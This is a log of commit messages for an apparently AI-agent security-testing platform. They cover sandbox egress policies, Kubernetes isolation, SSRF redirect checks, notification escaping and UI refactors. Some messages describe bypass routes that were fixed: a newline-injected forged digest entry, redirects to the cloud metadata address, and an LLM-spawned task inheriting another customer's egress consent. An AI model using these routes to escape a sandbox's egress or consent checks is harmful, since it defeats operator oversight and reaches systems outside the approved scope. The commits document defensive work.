Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Converts the intercept rules page and judge card, the asset intercept
page, and the notify page and its delivery list to typed reducers in
_state/, on the shared list, request and pagination slices.
InterceptPage's regexErr state is removed: it was only ever set to "",
so its error message could never render.
Part of #546.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Converts the LLM page and profile sheet, the tools page, tool editor and
custom tool dialog, and the create-agent dialog to typed reducers in
_state/, on the shared request slice.
Part of #546.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The unchanged-poll comments now say what the code guarantees: the same
state object is returned, so React can bail out of the update. The
assets list comment now says when loaded is reset (first load and a
manual refresh, not tab, page or query changes).
Tests, as requested in review: a poll that changes one nested field of
one row updates that row (assets and credentials), and a successful load
after a failed search clears the error and shows the rows.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Under Docker daemon contention a POST /containers/create can commit the
container while its response never reaches the runner, and the best-effort
remove preceding the create can silently fail. The next ensureTask then
hits HTTP 409 on a name the runner itself owns, and the whole task gets
paused over it.
createContainer now resolves the conflict with three outcomes:
- adopt: the holder is provably the container being created (runner trust
labels match the spec labels, same image, spec env subset of holder env);
return the holder's ID without removing anything.
- reclaim: the holder is runner-managed but outdated (stale scope env,
different image, or it vanished between the create and the inspect);
force-remove and retry the create exactly once, so an adopted container
can never carry a stale egress scope.
- foreign: the name is held by anything not created by this runner, or by
another task's container; hard error, never removed.
Adds sandbox/docker_create_conflict_test.go: httptest fake-daemon coverage
for adopt, outdated, vanished, foreign, and other-task holders.
DecomposeGoalsWithProvider built its session without a DynamicBoundary,
and Norma reads 0 as "no cache breakpoint", so every turn of goal
decomposition resent its tools and system prompt uncached on Anthropic
profiles. It now sets 1 for its single static segment, the breakpoint
docs/context-telemetry.md still said deferredSystem returns 0 without
a global deferred-MCP block. It now describes the always-on boundary
and what system_dynamic holds on each lane.
Tests: TestDecomposeGoalsValidStructuredToolCallAccepted checks the
boundary on every request (needs Postgres); it fails with the fix
reverted.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Part 1 of 4 of the proxy pool design in #545: storage and a CRUD API.
Nothing activates an entry yet, so the global proxy is unchanged.
- Migration 0028 adds proxy_pool: a unique keyed address hash, at most
one active entry (partial unique index), a CHECK that the active entry
is enabled, and nullable egress_ip, last_check_at and last_check_ok for
the health check.
- Addresses are normalized, sealed at rest (AAD proxy_pool.address) and
covered by the startup key check and key rotation. Uniqueness uses an
HMAC under a sub-key kept on secretBox; RotateSecretKey locks the table
and rehashes in its transaction, and pool writes seal under that lock.
- GET/POST /api/proxy-pool and PATCH/DELETE /api/proxy-pool/{id} never
return an address; a masked address on update keeps the stored one.
- Each worker and proxy pod gets a new name per generation
(artex-w-<hash>-<6 hex>). Exec targets the exact pod of the task state,
so an exec delayed at the API server fails with 404 instead of running
in a replacement pod before that pod passed its network probes.
- setupTask lists the task's pods by label and deletes every pod except
the ones it keeps, with a UID precondition, before it creates new ones.
Same-named pods are no longer deleted without an ownership check.
- Recover adopts only pods whose name matches artex-[wp]-<32 hex>-<6 hex>
and whose name, labels and task annotation agree.
- podAlive returns an error for API failures. Only 404, a UID mismatch, a
deletion timestamp, or a pod that is not running and ready count as
dead. On other errors (a cancelled request too) the exec fails and the
task's pods and policies stay.
- waitPodReady fails fast on CrashLoopBackOff and on exited containers.
- The deny probes print one token per outcome. Only timed out, refused or
unroutable connections count as blocked. Any other result (missing
timeout binary, failed fork, no API env) fails setup at once.
- Probe output, stderr and HTTP client errors go to the runner log only.
The returned errors are generic. A cancelled API request returns a
cancellation error, not "runner unavailable".
- Add fd20:ce::254/128 (GCE IPv6 metadata) to the never-reachable ranges.
- Document that ARTEX_KUBE_CLUSTER_CIDRS must also list the API server
endpoint addresses when they lie outside the cluster ranges (managed
clusters).
- Exec, Kill and Delete reject task IDs with surrounding whitespace.
- go.mod: gopkg.in/yaml.v3 back to indirect (go mod tidy).
- Test: a cancelled exec keeps the task. The scope and probe tests move to
the test PR to stay inside the size limit.
StartLine in http-code-block.tsx had the same HTTP/<version> pattern, so
recorded responses ("HTTP <status>") on the traffic, replay and evidence
views showed no status colour. Make the version optional there too.
From a second review of the backend:
- Scope CIDRs written as IPv4-mapped IPv6 (::ffff:10.0.0.0/104) are read
as the IPv4 range they map, so the private-range filter and the
never-reachable excepts apply to them. netip treats the two families as
distinct, so such an entry skipped both.
- The never-reachable list adds 0.0.0.0/8 and :: (they reach the proxy's
own host), ::ffff:0:0/96 and link-local through NAT64
(64:ff9b::a9fe:0/112).
- ARTEX_KUBE_CLUSTER_CIDRS and ARTEX_KUBE_PROXY_DENIED_CIDRS refuse /0
(an except equal to its block is rejected by the API server) and
IPv4-mapped prefixes (they would never match).
Slack flattens titles, types and assets with OneLine so a newline in an
untrusted field cannot forge another line (TestSlackKeepsUntrustedFieldsOnOneLine).
Telegram did not: a finding named "a\n2. Critical · fake entry" added a
forged entry to a digest, and a newline in the vulnerability class or an
asset added a forged line to a single notification. Flatten the digest
line and the Type and Assets fields the same way.
ARTEX_RUNNER_BACKEND=kubernetes runs each task in a worker pod behind its own
egress-proxy pod, created through the Kubernetes API (kube_client.go) with no
container runtime socket. Per-task NetworkPolicies are applied before the pods
and removed after them; the runner proves they are in effect before the first
command, runs commands through pods/exec under env -i and artex-exec-wrap, and
re-adopts task pods after a restart. Unit tests run against a fake API
server; this commit keeps the tests for the review items, and the other
unit tests and the live cluster test follow in a separate PR.
Changes since the first review (502e42d):
NetworkPolicies and scope:
- Delete and failed setups delete the task's pods and wait until they are
gone before removing the service and, last, the policies. If a pod
cannot be deleted, the policies stay and the task stays tracked. Pods
get a 1s grace, not 0: a zero grace removes the API object before the
kubelet has stopped the containers.
- applyPolicy replaces an existing policy only when it carries the
runner's labels for the same task, and sends its resourceVersion.
- ARTEX_KUBE_PROXY_DENIED_CIDRS adds to DefaultProxyDeniedCIDRs instead
of replacing it. An empty DNSPodLabels map falls back to k8s-app=kube-dns.
- No scope opens the cluster: ARTEX_KUBE_CLUSTER_CIDRS (pod, service and
node CIDRs) plus metadata, loopback, link-local and the API server
address form a never-reachable list. Each scope ipBlock gets them as
except (a block inside one is dropped), the public rule excepts them,
and the proxy refuses them through ARTEX_NEVER_CIDRS (new
EgressPolicy.Never; Docker does not set it). Without
ARTEX_KUBE_CLUSTER_CIDRS, scope CIDRs overlapping private, loopback or
link-local ranges are dropped (logged), so the scope fails closed.
- Isolation does not rely on an outside default-deny policy: every task
pod has its own Ingress+Egress policy, adopted tasks get theirs applied
again, and before the first command the runner checks that the worker
reaches neither the API server nor a public address directly and that
the proxy cannot reach the API server; setup fails otherwise. A scope
change replaces the worker too, so the checks run in a worker no
command has used.
- The proxy pod uses ndots 1, so scope names are not first looked up as
cluster names.
Exec:
- The worker base env comes after the request env in the env(1) argv.
Refusing PATH, proxy and loader variables (LD_*, BASH_ENV, ...) in a
request is a separate change to the shared ValidateEnv, which also
covers the Docker backend.
- Any exec error after the stream started (cancel, broken stream, read
limit) kills the worker's processes, and so does a wrapper timeout
(exit 124 after at least timeout_ms, the Docker rule).
- Exec, Kill and Delete validate the task ID; Exec validates the request.
Concurrency and cleanup:
- Kill takes the task lock; stored tasks are copied, never changed in
place. A Kill caused by an exec acts only on the worker pod UID that
ran it; pod deletes carry a UID precondition.
- An exec queued behind a Delete returns ErrNotFound instead of creating
the task again. Per-task locks are reference counted and removed.
- A failed setup removes what it created, found by label (a foreign
object with the same name stays). Delete returns ErrNotFound only when
no object of the task exists.
- Recover adopts only pods named artex-w-/artex-p-<hash> and services
with a real ClusterIP; adopted tasks are re-checked on first use.
- Scope hash: full SHA-256; task object names use 128 bits.
Config: http:// API servers are refused, the tasks and audit sub paths
must not be ".", equal or nested, and NewKubernetesBackend documents what
the deployment must provide (PID limits, restricted namespace, quotas,
shared volume, shared Kill).
- Test the 401 login fallback when the body is not JSON.
- Flag bare sendBeacon calls and parse .js, .mjs and .cjs as JavaScript.
- Record the change-password 403 in the CHANGELOG.
- change-password returns 403 for a wrong current password and keeps 401
for an invalid or expired session, like authInit's bad setup token.
- apiFetch only treats a 401 from /auth/login as bad credentials; every
other 401 clears the session and returns to /login.
- Tests cover change-password with an expired session and with a wrong
current password, and the direct-network check parses the AST so
comments, strings and test files cannot produce false positives.
- apiFetch treats a 401 from /auth/* as bad credentials, not as an
expired session: the session is kept and the server message is
exposed instead of reloading /login.
- Test the openSSE constructor wiring, the login 401 path, the absence
of Content-Type on the three FormData uploads, and broaden the direct
network check to window/globalThis/self fetch, XMLHttpRequest,
EventSource and sendBeacon in .js, .mjs, .cjs and .jsx files.
The traffic recorder stores the response head as "HTTP <status>" with no
version (traffic/traffic.go, stream.go, external.go). parseRawResponse
required "HTTP/<version> <status>", so the match always failed and a dry
run from a recorded exchange used status 200, whatever the response was.
Make the version optional.
assetRow.label joined the host and port of a service asset with a plain
colon, so an IPv6 service on port 445 was labelled 2001:db8::1:445, which
reads as a longer IPv6 address. Build it with net.JoinHostPort, as #845 did
for the server's asset label. IPv4 and domain labels are unchanged.
d597c15 made apiFetch set credentials: "same-origin" and redirect: "error"
after ...init, and made auth.clearToken expire the route-guard cookie with
the attributes setToken writes. Two tests pin both: a caller that asks for
credentials: "include" and redirect: "follow" still gets the safe values,
and sign-out expires the cookie with SameSite=Lax, plus Secure on HTTPS.
Both fail if either change is reverted.
- apiFetch forces credentials same-origin and redirect error after the
caller init, so a caller cannot widen either and a future redirect is
refused like in SSEStream.
- clearToken reuses the cookie deletion clearSession uses, including
SameSite=Lax and Secure over HTTPS.
- loadOlderHistory catches the ForbiddenError and shows the server
message instead of leaving an unhandled rejection.
With the category Combobox of the New task sheet open, an overlay click
closed the whole sheet: isRadixOverlayOpenNow did not match the Base UI
popup, whose open state is data-open, not data-state. Add
[data-slot='combobox-content'][data-open] to the selector.
Add web/src/lib/utils.test.mjs, run by test:reducers: a DOM-free test of
preventDismissUnlessOverlayClick with a stub document, covering Select,
popper content, Combobox, menu triggers, the open sheet/dialog trigger
and an expanded Collapsible. The alias loader now adds the JSON import
attribute so tests can import modules that depend on @/i18n.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
requirePerm now applies the recorded permission instead of only checking
that one exists: a perm.Authenticated pattern answers 401 without a valid
session. requireAuth exempts /api/auth/ by prefix, so a wildcard pattern
such as "GET /api/{kind}/items" would otherwise be public for
/api/auth/items.
Handler builds its chain with handlerFor, and TestUntaggedRouteIsForbidden
uses handlerFor, so removing requirePerm from the production chain fails
the test. A wildcard route is tested with a path under /api/auth/.
TestNoRawRouteRegistration allows only root.Handle("/api/", ...) and
root.HandleFunc("/", ...) in server.go; any other root route would skip
requireAuth.
TestHandlerDeniesAuthenticatedRoutesWithoutSession checks every
authenticated route through the real Handler.
Every /api route is now added with s.handle(mux, pattern, perm, h), which
records the permission the route needs. There are two permissions for now:
perm.Public for the routes requireAuth already exempts (/api/auth/*,
/api/health, /api/ready) and perm.Authenticated for all others.
A new check runs after requireAuth and answers 403 when the matched pattern
has no recorded permission, so a route added with a plain HandleFunc call is
denied instead of served. requireAuth itself is unchanged.
Tests check that every route has a permission, that the public routes are
exactly the ones requireAuth exempts, that no file registers a route outside
s.handle, and that an untagged route returns 403.
The review asked for a rebase onto main. A rebase cannot be published to
this fork: ruleset "prevent-force-push-any" (id 13967828) applies
non_fast_forward to ~ALL branches, so every force-push is rejected. The
branch is therefore brought up to date by merge, which is a fast-forward
push and leaves the reviewed commits in place.
The merge result is byte-identical to the rebased result: the staged tree
hashes to 7d33b7fc, the same tree as the rebase I verified locally
(tsc, biome, test:i18n 11/11, test:reducers 59/59, build:static).
Conflict resolution:
- CHANGELOG.md: main's Added section grew (Slack channel, log rotation);
this branch's target-gate entry is kept between them.
- overview-tab.tsx: main refactored TaskInterceptRulesCard onto
useReducer (b9388fb7), so the gate was ported into the new shape rather
than the reverse. The gate keeps its own local state beside the reducer
and the rules read feeds the existing `rulesLoaded` action; the task-id
and request-stamp guards from the review apply to both reads. Nothing
from the refactor is reverted: the diff against main on this file is
additions only, apart from the two lines the guards replace.
http() and twelve calls that used fetch directly (uploads, downloads,
exports, the report, tool-config and the logs history) each built their own
Authorization header. Only http() and the HAR export handled a 401, with two
inline copies of the session clean-up, and openSSE had a third.
All of them now use apiFetch (src/lib/api-fetch.ts):
- 401: clearSession() (src/lib/auth.ts) drops the token and the cookie and
goes to /login, then the call throws, as http() did before.
- 403: throws ForbiddenError, an ApiError with status 403 and the server's
message, ready to show in a toast.
ApiError moves to api-fetch.ts and is still exported from api.ts. The SSE
client keeps its own fetch and now calls clearSession on a 401.
SheetContent and DialogContent each carried a copy of the same
onInteractOutside guard, and losing one copy is how the Sheet guard
disappeared. Move it to preventDismissUnlessOverlayClick in lib/utils.ts
and call it from both. No behavior change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
isRadixOverlayOpenNow treated any element with aria-expanded=true and
data-state=open as an open popover. The trigger of the open sheet or
dialog itself (aria-haspopup=dialog) and an expanded Collapsible match
that selector, so with the guard in place an overlay click never closed
a sheet or dialog that was opened through SheetTrigger/DialogTrigger
(Tasks category management, Agents create dialog). Count only triggers
that announce a non-dialog popup; popover content is still matched by
the Radix popper wrapper.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
With a Select/Popover open inside a Sheet, any click (inside the form or
on the backdrop) closed the whole sheet and dropped unsaved input. The
onInteractOutside guard added in aef0376 was lost when 32ec7fe restored
the pre-fix sheet.tsx. Restore it, mirroring DialogContent: only a click
on the overlay with no popover open closes the sheet.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The probe looked for task B under /app/data/tasks, which the worker
image does not mount, so it always reported TASKB_BLOCKED. Probe
/workspace instead: secret-a.txt is the positive control that the
task's own workspace is mounted, and secret-b.txt must stay invisible.
docker version has no .Server.Engine field, so the previous check never
matched. Read .Server.Platform.Name instead and run detection even when
DOCKER_HOST is explicit, so the unverified-Podman warning also fires for
the common compat-socket setup.
Docker Desktop publishes /var/run/docker.sock as a symlink, so stop
refusing symlinked sockets; test -S follows them and find -L checks the
target's mode.
The changes filter only ran for pull requests, so every push to main
(each merge) ran every job, e.g. the full Go suite twice (pinned and
stable) after a docs- or web-only merge. Pushes are now filtered too:
dorny/paths-filter diffs a push against the commit before it (git-based,
so the job checks the repository out first).
A manual run and any failure of the changes job still run everything.
govulncheck keeps running on every push to main, since new advisories
are published against unchanged code and it is the only regular check
for them.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Escaping already stops the <!channel> and <@U…> forms. Plain "@channel",
"@here" or "@user" is left unlinked by Slack's default; the payload now sets
link_names=false so this does not depend on the default, and a test pins it.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Mechanical modernization of notify, chatbridge, sidequestion, report, archivestore, config, enrich and llmrec with the gopls/go fix modernizers:
range over int, strings.SplitSeq, strings.Cut / CutPrefix,
slices.Contains / Sort / Backward, maps.Copy, min / max,
sync.WaitGroup.Go and t.Context in tests. No behaviour change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Mechanical modernization of the traffic, intercept, guard and egress packages with the gopls/go fix modernizers:
range over int, strings.SplitSeq, strings.Cut / CutPrefix,
slices.Contains / Sort / Backward, maps.Copy, min / max,
sync.WaitGroup.Go and t.Context in tests. No behaviour change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Mechanical modernization of the server package's tests with the gopls/go fix modernizers:
range over int, strings.SplitSeq, strings.Cut / CutPrefix,
slices.Contains / Sort / Backward, maps.Copy, min / max,
sync.WaitGroup.Go and t.Context in tests. No behaviour change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The runtime stage declared ARTEX_VERSION and ARTEX_REVISION before its
first RUN. A declared build argument is part of the cache key of every
later RUN, and update.sh writes the new commit into .env, so every
update rebuilt the whole stage: apt packages, bbot, Playwright. That
cost 6 to 11 minutes per update and left another ~8 GB copy of the
layers in the build cache. Declare the arguments and the LABEL that
uses them at the end of the stage instead.
Also keep the Go build cache, the Next.js build cache and the npm
download cache between builds with BuildKit cache mounts, so a code
change recompiles only what changed. The caches are not part of the
image.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The fr and pt-BR dictionaries landed on main after this branch was cut, so
the dictionary checker reported the Slack help text as missing in both.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The guard only tested the byte before the bracket, and chained forms
glue to a closer instead of an identifier: a[1][::2] and f()[::2] still
extracted ::2. Accept ']' and ')' as subscript glue, and read the left
context from the original bytes: the first bracket of a chain is blanked
when consumed, which erases the context of the one after it.
Fixtures for both chained shapes; red on the previous head (8 assertion
failures across the four command tools), green with the extension.
Mechanical modernization of the server package's production code with
the gopls/go fix modernizers: range over int, strings.SplitSeq,
strings.Cut / CutPrefix, slices.Contains / Backward, maps.Copy,
min / max and sync.WaitGroup.Go. No behaviour change. The package's
tests follow in a separate PR.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Converts the remaining task detail tabs to typed reducers in
tasks/detail/_state/, on the shared list and pagination slices.
The assets (10 s) and credentials (15 s) polls return the same state
when nothing changed, so an unchanged poll does not re-render the tab.
Part of #546.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
feedLoaded returned a new state on every 8 s poll, even when the page,
total, unread count and fresh marks were the same, so the whole tab
re-rendered with no visible change. It now returns the same state then,
and keeps the current content objects when only the counts change.
Tests, as requested in review: the unchanged-poll no-op, the return to
page 1 after a search, type filter or page-size change, and the active
profile fallback in profileIDsChanged.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The request counter alone was not enough: a rule write started for task A
holds A's loadRules closure, so when it resolved after a switch it fetched
A's rules and — being the newest request — painted them into task B's card.
The card now also reads a taskIdRef that names the task it shows. Every
read and write returns early when that ref has moved, and the counter
still drops a response that a newer request for the same task replaced.
add, saveEdit and toggleTargetGate return early too, so a late response
cannot clear the next task's half-typed form or leave its switch busy.
Verified: npx tsc --noEmit clean, npx biome ci . 0 errors (196 files),
npm run build:static compiled.
Review of 43f6d20 asked for three fixes.
- The "not audited" claim was stale: db.UpdateTask records every
target_gate change in the task activity as target_gate_changed with
the operator, the client address and the before/after values since
#816. README and CHANGELOG now say so instead of the opposite.
- The gate switch and the rules list could paint another task's state:
the card stays mounted across task switches and neither read nor the
toggle guarded its response. Each read and write now stamps the
request it belongs to, and a response that is no longer the latest
one is dropped. The reset effect also clears the busy flag and the
rules, so a switch never shows the previous task's rules.
- The create-sheet "Off + block rules" warning counted switched-off
rules. It now requires r.enabled, as the overview card already did.
The merge of origin/main brought fr.json (added by #795) which lacked
the gate strings this branch added to the other four dictionaries, so
npm run test:i18n failed on the merged branch. The two superseded
strings were replaced and the fourteen gate strings translated.
Verified: npx tsc --noEmit clean, npx biome ci . 0 errors (196 files),
npm run test:i18n 11/11, npm run build:static compiled.
Brings the branch up to date with main so the PR is mergeable again.
The only conflict was the Unreleased "Added" section of CHANGELOG.md,
where this branch's target-gate entry and main's log-rotation entry
both inserted at the top; both entries are kept.
Mechanical modernization of the agent package with the gopls/go fix
modernizers: range over int, strings.SplitSeq / FieldsSeq,
strings.Cut / CutPrefix, slices.Contains / Sort / Backward, maps.Copy,
min / max, sync.WaitGroup.Go and t.Context in tests. No behaviour change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Mechanical modernization of the db package with the gopls/go fix
modernizers: range over int, strings.SplitSeq / FieldsSeq,
strings.Cut / CutPrefix, slices.Contains / Sort / Backward, maps.Copy,
min / max, sync.WaitGroup.Go and t.Context in tests. No behaviour change.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The project has one maintainer. The second pass is an automated audit, not a
second human reviewer, and it has no merge rights. Say what actually happens.
Add the review size budget to CONTRIBUTING and a PR template that asks for
it. The default is 2,500 changed lines or 15 files; locales, docs, generated
code and fixtures can go to 5,000 lines or 30 files when the change is
mechanical and verified; security, concurrency and database changes stay
small and get two reviewers. A larger PR is parked with the feature label and
stays open, with a request to split it by subsystem.
Converts the task detail page (and its LLM control), the overview tab
(and its intercept rules card) and the broadcast tab to typed reducers
in tasks/detail/_state/, on the shared request and pagination slices.
The pending intercept summary polled by the page (upstream e605578e)
lives in the page reducer and is still passed to the sessions tab.
Part of #546.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Moves the sessions tab's ~30 useState calls into one typed reducer
(_state/sessions-tab.reducer.ts), grouped into the session store,
navigation, main-agent segments, workers, composer, worker chat,
worker control, task status and request flags. The activity
merge/dedup helpers move with it.
Pending intercepts stay a prop from the task page (upstream e605578e).
Part of #546.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
egress-guard reads hand-edited lists/scope-domains.txt and scope-cidrs.txt,
while the sandbox egress proxy builds its policy from PostgreSQL. Nothing
connected the two, so the overlay could drift from the approved scope (#421).
egress-guard/export-scope.sh regenerates both lists through the new
artex -export-egress-guard-scope. The export calls taskSandboxRunInfoChecked
(the error-returning form of taskSandboxRunInfo) and sandbox.NewEgressPolicy,
the derivation and parser of the per-task proxy, so only operator-approved
task scope, frozen company grants and operator task allow rules are exported.
Agent-added, auto-added and expanded rows are not.
Fail closed: taskSandboxRunInfoChecked reports the read errors the proxy path
ignores, any error fails the whole export, and the script touches neither
list until a complete, well-formed export was read; each list is then
replaced by rename. An empty export is refused unless --allow-empty, because
empty lists with EGRESS_MODE unset make the guard fall back to monitor.
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
Requested on #848: fixture coverage for [fe80::1%eth0] alongside the URL
and token-edge forms, so the word-character guard cannot regress them.
Passes identically with and without the guard (regression pin).
A bracketed form glued to a word character (d[::2], a[1::2]) is an
identifier subscript holding slice bounds, not the bracketed IPv6
literal of URL syntax. The bounds parse as valid addresses, so the
gate prompted for a dial that never happens: seen live as a prompt
for "::2" raised by a Python checksum snippet. URL syntax, token-edge
brackets and zone-id forms are unchanged.
newTaskTimeouts keeps every task it fired for in a persisted set and
never removes one. A timed-out task can be revived (a rerun or a
finding follow-up moves it back to running), and its next timeout is
a new event, but the task id is still in the set, so on_task_timeout
never fires for it again.
Keep in the set only the tasks that are timed out now: a task that left
the timeout state drops out, and fires again when it next times out.
A scan while it stays timed out still fires nothing.
Chaitanya Deshpande
dcchaitanyadeshpande@gmail.com
Since #822 a task deletion stages its files in an owner-only
.delete-staging-<id>-* directory next to each source, inside data/tasks,
data/spill/tasks and data/transcripts. shareRunDirs treated every
directory under data/tasks as a task directory, so a staging directory
left by a crash, or kept by a failed rollback or purge, became 0755 and
its staged workspace was shared with the executor group at the next
start with the executor drop enabled.
shareRunDirs now shares only directories named by a canonical task ID.
NewManager settles leftover staging before any task runs: the staging of
a task that is no longer in the database is removed, the staged entries
of a live task move back when their original path is free, and an entry
whose path exists again, or an unexpected name, stays staged and is
logged. Only exact .delete-staging-<id>-<digits> directories are
considered, and symlinks are never followed.
report_finding takes severity as free text, and the report and the
findings exports sort it through sevRank. A label outside the map
("info", "informational", a legacy "High") reads as rank 0, the rank of
critical, so an informational finding heads the task report and the
Markdown/CSV export, ahead of every high and medium one. The findings
list orders the same labels last in SQL.
Rank critical, high, medium and low case-insensitively and put
anything else after low.
Chaitanya Deshpande
dcchaitanyadeshpande@gmail.com
The task report (GET /api/report) counted and listed every finding node
as a confirmed vulnerability. A finding the operator triaged as
false_positive, duplicate or ignored was still in "Confirmed findings",
listed under its severity, with nothing saying it had been rejected.
The findings_total the planner reads and goal proof already leave
those three labels out (db.FindingStatusInvalidatesGoal).
Skip them with the same rule, reading the label mirrored onto the node
and falling back to the standalone row, and say in the summary how many
were left out.
Chaitanya Deshpande
dcchaitanyadeshpande@gmail.com
Review 6154399166 on #841: spawn_task inherited standing company consent for
any LLM-selected fully approved company, never checking that the calling task
was allowed to reach it. A task scoped to customer A, or a chat with no scope,
could start a child on customer B with B's whole frozen egress and no operator
decision - reversing the consent invariant the drift test pins.
CreateTaskWithOptions now carries CompanyScopeCallerID, the id of the task
running spawn_task (0 = chat session or direct API). Inheritance requires the
company to be the caller's own: an operator-approved task_scope link on the
caller, on top of the company's fully approved inventory. With no task caller
nothing is auto-approved: the child stays coverage-only until the operator
confirms, restoring the pre-#830 posture for unanchored spawns. The handler
reads the caller id from the target scope whether or not the gate is on.
Probes: TestSpawnWithoutTaskCallerDoesNotAutoApprove proven RED on the
reviewed head; caller-boundary teeth shown by removing only the caller EXISTS
clause (3 boundary assertions fail, guard case unaffected); drift case 4 now
flows consent through an operator caller and a no-caller child task denies on
proxy, WebFetch and browser. Verified in-container on real Postgres: ok db,
ok intercept; ./server carries only the six known AsRoot container-noise
failures. Related: #830, #833.
The warning added in #833 ran in Engine.Run before the started guard, so
every Run call on a task that was already running (resume, intent rerun,
finding follow-up, goal decomposition, POST /api/active) appended another
"sandbox egress empty" activity and log line. It is now checked after the
task has really started, in sandbox=required mode only. The message and
the detection are unchanged, and the sandbox=off note keeps its behaviour.
Decide already answers ErrAlreadyDecided when ResolveTargetRequest turns
an approval on a gate-off or deleted task into a system denial. It now
wraps db.ErrTargetGateDisabled as well, so the 409 says why the click was
refused; errors.Is(err, ErrAlreadyDecided) still holds for every caller.
Tests:
- TargetScope.ref() accepts exactly one positive task or conversation id;
- a click after a merged target request or a classic ask timed out is
refused, wakes nobody and leaves the system timeout unauthored;
- the task-row target_gate check refuses approvals on a gate-off or
deleted task (system denial, no approver, no pin) and still pins on a
gated task;
- a click blocked behind a committing timeout on the row lock is refused,
and a click racing the timeout never lets both win.
CHANGELOG: mention the refused late approval in the #804 entry.
Switching the gate off and closing the task's open requests are two
operations, so an approval landing between them (or while the close
fails, or on another instance) could still pin the target.
ResolveTargetRequest now locks the task row before the pending row (the
order task deletion uses), reads target_gate under that lock and turns an
approval on a gate-off or deleted task into a system denial: no pin, no
approver fields, the same row shape CloseTargetRequests writes. Decide
reports it as already decided and wakes local waiters with false, and a
waiter seeing that system close releases the call even if its local gate
flag lags.
Tests that approve target requests now create gate-on tasks.
The task-row lock and its test come from #808.
Co-authored-by: Jwalith <jwalith4418@gmail.com>
Switching a task's target gate off left a gated call waiting out its bound
and the open request approvable, so a late click still pinned the target.
The waiter now reads the live flag and closes the call's requests as a
system decision; a plain call then runs as on an ungated task, a merged ask
is told to retry. Switching the gate off closes the task's open target
requests, so a late Decide gets ErrAlreadyDecided and pins nothing. TCP
dials and UDP resolves that open a request during the switch fall back to
the gate-off path.
Fixes#804
CompanyEgressForTask errors no longer skip a company's grants: the
caller returns TargetGateUnavailable instead of a silently narrowed set.
The TestTaskEgressGrants doc no longer claims allow rules participate
(grants-only by design since the gate test that pinned that invariant),
and the orphan Security line under the Unreleased heading is gone.
Review probe 1: a granted domain whose name does not resolve passed on
the grant because the cover ran before the resolver-error check, so the
lookup failure never surfaced and no resolved address ever met the IP
block rules. The resolve_failed check now precedes the grant cover.
Review probe 1 (dial side): the dial treated a scope cover as name-only
even off-proxy, losing the address pinning the gate provides. A grant
cover now dials the resolved set via dialAddrs (and firstIPv4UDPAddr
for UDP4); behind a proxy the check records the cover as name-only, as
for a pin, and the proxy keeps choosing the address.
Review probe 2: scopeGrantUsed deduped on scope+target only, so a
re-authorisation of changed grants was never audited. A canonical
digest of the grant set (sorted normalized entries) now keys the dedupe
and fills ConfigDigest, mirroring the exemption list digest.
Tests cover all three probes plus the proxied variant of the dial.
CheckURL refused an empty DNS answer with "dns lookup failed for <host>:
<nil>" because the empty-answer case shared the error branch. Report it
as "dns lookup for <host> returned no addresses" instead. The check stays
fail-closed, and a real lookup error is still reported with its cause.
PR #794 changed EgressPolicy.CheckURL to fail closed on a lookup error or
an empty answer, to require every resolved address to be allowed, and made
sandboxed custom HTTP tool transports disable keep-alives. The CHANGELOG
had no entry for it. Add one under Unreleased > Security.
The dialer sees each hop on a direct connection only. Through a proxy it sees
the proxy, and sandboxRedirectCheck checks the hop. The old comment claimed all
hops and redirects, which contradicted the redirect check added in this branch.
Mirror the x-logging anchor and the three logging entries, so a GHCR
install rotates the logs of postgres, artex and artex-runner like a
checkout install. docker compose -f docker-compose.ghcr.yml config passes.
spawn_task stamps every company link approved_by_operator=false, so chat-spawned tasks start with an empty egress allowlist even for companies the operator fully approved (#830; #833 warns about the symptom). insertTaskCompanies now checks each selected company: one whose company_scope inventory exists and is entirely operator-approved carries standing consent - the link is inserted approved and the grant frozen in the same transaction, like an operator selection. Companies holding any unapproved row, or without scope rows, stay coverage-only: add_company_scope, the ScopeSentry sync and invented ids still cannot self-grant. source stays agent. Case 4 of sandbox_scope_drift_test is rewritten accordingly and gains two negative cases. Related: #830, #833.
In ARTEX_SANDBOX=required mode the WebFetch tool checked only the first
URL of a call against the task's egress policy. Every later connection
goes through the sandbox dialer, but with an operator or recording proxy
configured that dialer only ever sees the proxy address, so a redirect
from an allowed URL to 169.254.169.254, a loopback or private address,
or a domain outside the task scope was requested from the proxy and
followed.
The WebFetch CheckRedirect is now wrapped in required mode: each hop is
checked with EgressPolicy.CheckURL first, and only a hop the policy
allows goes on to intercept.RedirectCheck, which keeps its target gate
and its redirect limit. A nil policy refuses every hop. Outside required
mode the redirect check is unchanged.
The gate compared targets with pins only while the proxy allowlist is built from operator-approved scope rows and is port-agnostic, so targets inside a granted CIDR still raised per-port and bare-host approval prompts. CheckTargets now consults db.TaskEgressGrants (approved task_scope rows + entries frozen by approved company grants) with the proxy's matching rules, covering such targets as scope_grant with one system-decided audit row per process and key. Block rules, pins, exemptions and human approvals are unchanged; task allow rules stay out of the gate. Related: #830.
A fuzzy_domain pattern written with ideographic or fullwidth dots became a
doubled dot only after canonicalisation, so "a。。example.com" was stored as
